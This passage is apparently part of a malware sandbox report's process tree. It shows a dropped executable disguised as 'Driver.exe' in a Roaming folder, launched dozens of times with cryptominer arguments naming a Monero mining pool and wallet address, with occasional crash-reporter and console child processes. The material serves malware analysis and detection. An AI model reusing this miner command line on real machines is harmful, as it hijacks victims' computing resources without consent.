                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                        6⤵
                        • Executes dropped EXE
                        PID:1180
                        • C:\Windows\system32\WerFault.exe
                          C:\Windows\system32\WerFault.exe -u -p 1180 -s 364
                          7⤵
                            PID:5392
                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                          6⤵
                          • Executes dropped EXE
                          PID:620
                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                          6⤵
                          • Executes dropped EXE
                          PID:2244
                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                          6⤵
                          • Executes dropped EXE
                          PID:4936
                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                          6⤵
                          • Executes dropped EXE
                          PID:2380
                          • C:\Windows\system32\WerFault.exe
                            C:\Windows\system32\WerFault.exe -u -p 2380 -s 364
                            7⤵
                              PID:4376
                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                            6⤵
                            • Executes dropped EXE
                            PID:5612
                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                            6⤵
                            • Executes dropped EXE
                            PID:4704
                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                            6⤵
                            • Executes dropped EXE
                            PID:3284
                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                            6⤵
                            • Executes dropped EXE
                            PID:1812
                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                            6⤵
                              PID:4524
                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                              6⤵
                                PID:5656
                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                6⤵
                                  PID:296
                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                  6⤵
                                    PID:5984
                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                    6⤵
                                      PID:5004
                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                      6⤵
                                        PID:4404
                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                        6⤵
                                          PID:628
                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                          6⤵
                                            PID:5192
                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                            6⤵
                                              PID:2836
                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                              6⤵
                                                PID:2796
                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                6⤵
                                                  PID:1124
                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                  6⤵
                                                    PID:3264
                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                    6⤵
                                                      PID:1232
                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                      6⤵
                                                        PID:2684
                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                        6⤵
                                                          PID:5164
                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                          6⤵
                                                            PID:1792
                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                            6⤵
                                                              PID:1668
                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                              6⤵
                                                                PID:564
                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                6⤵
                                                                  PID:6060
                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                  6⤵
                                                                    PID:4508
                                                                    • C:\Windows\System32\Conhost.exe
                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      7⤵
                                                                        PID:3880
                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                      6⤵
                                                                        PID:3404
                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                        6⤵
                                                                          PID:5960
                                                                          • C:\Windows\System32\Conhost.exe
                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                            7⤵
                                                                              PID:1052
                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                            6⤵
                                                                              PID:5364
                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                              6⤵
                                                                                PID:4532
                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                6⤵
                                                                                  PID:2804
                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                  6⤵
                                                                                    PID:1968
                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                    6⤵
                                                                                      PID:2072
                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                        C:\Windows\system32\WerFault.exe -u -p 2072 -s 364
                                                                                        7⤵
                                                                                          PID:4700
                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                        6⤵
                                                                                          PID:5576
                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                          6⤵
                                                                                            PID:2012
                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                            6⤵
                                                                                              PID:3460
                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                              6⤵
                                                                                                PID:1216
                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                6⤵
                                                                                                  PID:1464
                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                  6⤵
                                                                                                    PID:4508
                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                    6⤵
                                                                                                      PID:4836
                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                      6⤵
                                                                                                        PID:360
                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                        6⤵
                                                                                                          PID:4744
                                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                          6⤵
                                                                                                            PID:356
                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                              7⤵
                                                                                                                PID:1180
                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                              6⤵
                                                                                                                PID:2412
                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                6⤵
                                                                                                                  PID:3520
                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                  6⤵
                                                                                                                    PID:3140
                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                    6⤵
                                                                                                                      PID:1260
                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                      6⤵
                                                                                                                        PID:5260
                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                          7⤵
                                                                                                                            PID:2244
                                                                                                                        • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                          "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                          6⤵
                                                                                                                            PID:2604
                                                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                            6⤵
                                                                                                                              PID:5408
                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                              6⤵
                                                                                                                                PID:3496
                                                                                                                              • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                6⤵
                                                                                                                                  PID:4128
                                                                                                                                • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                  6⤵
                                                                                                                                    PID:1464
                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                    6⤵
                                                                                                                                      PID:4508
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                      6⤵
                                                                                                                                        PID:3184
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                        6⤵
                                                                                                                                          PID:360
                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 360 -s 364
                                                                                                                                            7⤵
                                                                                                                                              PID:2796
                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe" -o pool.supportxmr.com:3333 -u 8BFyHJmwhhxXo29aFXZrTJTWDbkiQFEsBBnj1VnHBcy9ZQ2NKEUGdKvZbWGRNYamgAgJ75jsX1bzDiVh21D5WShJPJVqaMU -p x -k -v=0 --donate-level=1 -t 4
                                                                                                                                            6⤵
                                                                                                                                              PID:2052
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Sysfiles\Driver.exe
